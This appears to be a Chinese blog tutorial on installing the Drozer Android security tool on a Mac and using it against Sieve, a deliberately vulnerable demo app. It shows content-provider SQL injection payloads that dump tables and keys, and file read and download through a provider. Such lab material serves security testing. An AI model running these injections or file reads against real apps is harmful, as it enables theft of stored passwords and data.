Drozer安装(Mac系统)和使用

Drozer 官网地址https://labs.mwrinfosecurity.com/

Drozer是帮助我们检测Android设备中App应用的漏洞的安全工具。

一、安装

默认我们都有Android开发环境依赖的 JDK AndroidSDK 和 Python2.7(Mac 默认自带) 并且环境变量都已经配置,这里主要介绍一下Mac上的安装过程,具体其他系统安装过程可以参考官网文档。

要安装drozer,首先要确保您的电脑安装了Python 2.7。然后,安装drozer的依赖项

1.1安装openssl

Drozer需要特殊版本的openssl,我们需要下载 pyOpenSSL v0.13,然后用sed指令修复typo,具体指令:

1.1.1 $ wget https://pypi.python.org/packages/source/p/pyOpenSSL/pyOpenSSL-0.13.tar.gz

1.1.2 $ tar xzvf pyOpenSSL-0.13.tar.gz

1.1.3 $ cd pyOpenSSL-0.13

1.1.4 $ sed -i '' 's/X509_REVOKED_dup/X509_REVOKED_dupe/' OpenSSL/crypto/crl.c

1.1.5 $ python setup.py build_ext -L/usr/local/opt/openssl/lib -I/usr/local/opt/openssl/include

1.1.6 $ python setup.py build

1.1.7 $ python setup.py install

1.2安装protobuf

$ easy_install --allow-hosts pypi.python.orgprotobuf

我们从https://github.com/protocolbuffers/protobuf/releases?after=v2.4.1rc1下载protobuf2.4.1版本执行以下安装命令

1、tar zxvf protobuf-2.4.1.tar.gz

2、cd protobuf-2.4.1

3、./configure

4、make(如果出现以下error

                3 errors generated.

                make[2] : *** [message.lo] Error 1

                make[2] : *** [all -recursive] Error 1

                make : *** [all] Error2

                解决方案:

                4.1\. 打开protobuf-2.4.1/src/google/protobuf/message.cc文件

                4.2\. 添加 #include <istream>后关闭文件,重新执行:make 即可)

5、make check

6、make install

执行命令:protoc —version 如果出现libprotoc 2.4.1则说明安装成功

1.3 安装twisted 可以忽略警告和报错,执行一下命令即可

$ easy_install twisted==10.2.0

1.4 安装drozer

$ sudo easy_install ./drozer-2.3.4-py2.7.egg

此外我们可以直接下载drozer(Python.whl)版本,执行下面命令急性安装


image.png

$ sudo pip install drozer-xxx.whl --ignore-installed pyOpenSSL

安装drozer成功后可以输入drozer验证出现一下表示安装成功

image.png

二、使用

2.1、在真机安装drozer官网提供的agent.apk和sieve.apk

2.2、在电脑端开启转发 

         $ adb forward tcp:31415 tcp:31415

2.3、手机端启动Embedded Server
image.png

2.4、在电脑端启动drozer console 输入一下命令

 $ drozer console connect

2.5 Drozer命令

2.5.1 获取获取Android设备上的所有的安装的App的包名,如果想具体查找某个App可加上-f [App关键字]的参数,如查找sieve在Android设备中的包名(sieve.apk在drozer官网上,一个'密码管理器'应用程序,展示了一些常见的Android漏洞)

> run app.package.list -f sieve

2.5.2 获取Sieve的一些基本信息

> run app.package.info -a com.mwr.example.sieve

2.5.3 确定攻击面

> run app.package.attacksurface com.mwr.example.sieve
image.png

结果显示了潜在可以利用的组件个数: “exported”表示组件可以被其他App使用。 services is debuggable表示我们可以用adb绑定一个调试器到进程。

2.5.4进一步获取攻击面的信息

> run app.activity.info -a com.mwr.example.sieve

2.5.5启动Activities,这里启动是sieve包里的PWList

> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList

2.5.6从Content Provider中获取信息

> run [app.provider.info](http://app.provider.info/)-a com.mwr.example.sieve

    2.5.6.1 查找可以访问Content Provider的URI(数据泄漏)

    >run scanner.provider.finduris -a com.mwr.example.sieve
image.png
上图中检测出了可以访问content的URI,接下来我们可以用drozer的其他模块和URI从content中获取,甚至更改信息。

> run app.provider.query 

2.5.7执行SQL注入,Android操作系统建议使用SQLite数据库存储用户数据。SQLite数据库使用SQL语句,所以可以进行SQL注入。 使用projection参数和seleciton参数可以传递一些简单的SQL注入语句到Content provider。如:

> run app.provider.query [content://com.mwr.example.sieve.DBContentProvider/Passwords/](content://com.mwr.example.sieve.DBContentProvider/Passwords/)--projection “'"

> run app.provider.query [content://com.mwr.example.sieve.DBContentProvider/Passwords/](content://com.mwr.example.sieve.DBContentProvider/Passwords/)--selection “'"

上面两条命令执行后Android设备返回了非常详细的错误信息。使用Sql注入列出数据库中的所有数据表:

> run app.provider.query [content://com.mwr.example.sieve.DBContentProvider/Passwords/](content://com.mwr.example.sieve.DBContentProvider/Passwords/)--projection "* FROM SQLITE_MASTER WHERE type='table';--"

使用SQL注入列出数据表的内容:

>run app.provider.query [content://com.mwr.example.sieve.DBContentProvider/Passwords/](content://com.mwr.example.sieve.DBContentProvider/Passwords/)

--projection "* FROM Key;—“

image.png

2.5.8 从File System-Backed Content Providers获取信息,File System-backed Content Provider提供了访问底层文件系统的方法,Android沙盒会阻止App共享文件允许,而File System-backed Content Provider允许App共享文件。

>run app.provider.read [content://com.mwr.example.sieve.FileBackupProvider/etc/hosts](content://com.mwr.example.sieve.FileBackupProvider/etc/hosts)

可以使用app.provider.download下载文件

>run app.provider.download [content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db](content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db)/Users/wangzhen/Desktop/databse.db

2.5.9 检查Content Provider的脆弱性

2.5.9.1检查是否有SQL注入:

>run scanner.provider.injection -a com.mwr.example.sieve

2.5.9.2检查是否存在遍历文件的漏洞

>run scanner.provider.traversal -a com.mwr.example.sieve

2.5.10 和Services交互

2.5.10.1 获取是exported状态的services的命令

> run app.service.info -a com.mwr.example.sieve

2.5.10.2 向服务发送消息

> run app.service.send com.mwr.example.sieve com.mwr.example.sieve.CryptoService --msg 1 5 3
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 219,039评论 6 508
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 93,426评论 3 395
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 165,417评论 0 356
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,868评论 1 295
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,892评论 6 392
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,692评论 1 305
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,416评论 3 419
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,326评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,782评论 1 316
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,957评论 3 337
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 40,102评论 1 350
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,790评论 5 346
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,442评论 3 331
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,996评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 33,113评论 1 272
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 48,332评论 3 373
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 45,044评论 2 355

推荐阅读更多精彩内容